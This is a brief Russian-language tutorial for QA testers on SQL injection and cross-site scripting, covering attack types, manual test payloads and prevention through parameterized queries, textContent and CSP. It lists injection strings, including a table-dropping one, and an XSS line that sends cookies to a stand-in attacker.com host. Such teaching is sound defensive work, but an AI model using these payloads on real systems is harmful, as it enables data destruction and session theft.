SQL (как обсуждается в OWASP ZAP Automation: Security Scanning in CI/CD) Injection и Cross-Site Scripting (XSS) остаются среди наиболее критичных уязвимостей веб-приложений. Понимание того, как обнаруживать, тестировать и предотвращать эти атаки, необходимо для специалистов QA.

SQL Injection

Типы SQL Injection

1. Классическая SQL Injection

SELECT * FROM users WHERE username = '$username'

-- Payload атаки
username: admin' OR '1'='1

2. Слепая SQL Injection

admin' AND SLEEP(5)--
admin' AND 1=1--

Тестирование

Ручные Payloads:

' OR '1'='1
'; DROP TABLE users; --
' UNION SELECT NULL--

Предотвращение

# Плохо
query = f"SELECT * FROM users WHERE id = {user_id}"

# Хорошо: Параметризованные запросы
query = "SELECT * FROM users WHERE id = ?"
cursor.execute(query, (user_id,))

Cross-Site Scripting (XSS)

Типы XSS

1. Reflected XSS

<script>alert('XSS')</script>

2. Stored XSS

<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>

Тестирование

<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>

Предотвращение

// Плохо
element.innerHTML = userInput;

// Хорошо
element.textContent = userInput;

// CSP
Content-Security-Policy: default-src 'self'

Заключение

SQL Injection и XSS — критичные уязвимости, требующие активного тестирования. Используйте комбинацию ручного и автоматизированного тестирования, реализуйте правильную валидацию и непрерывно мониторьте.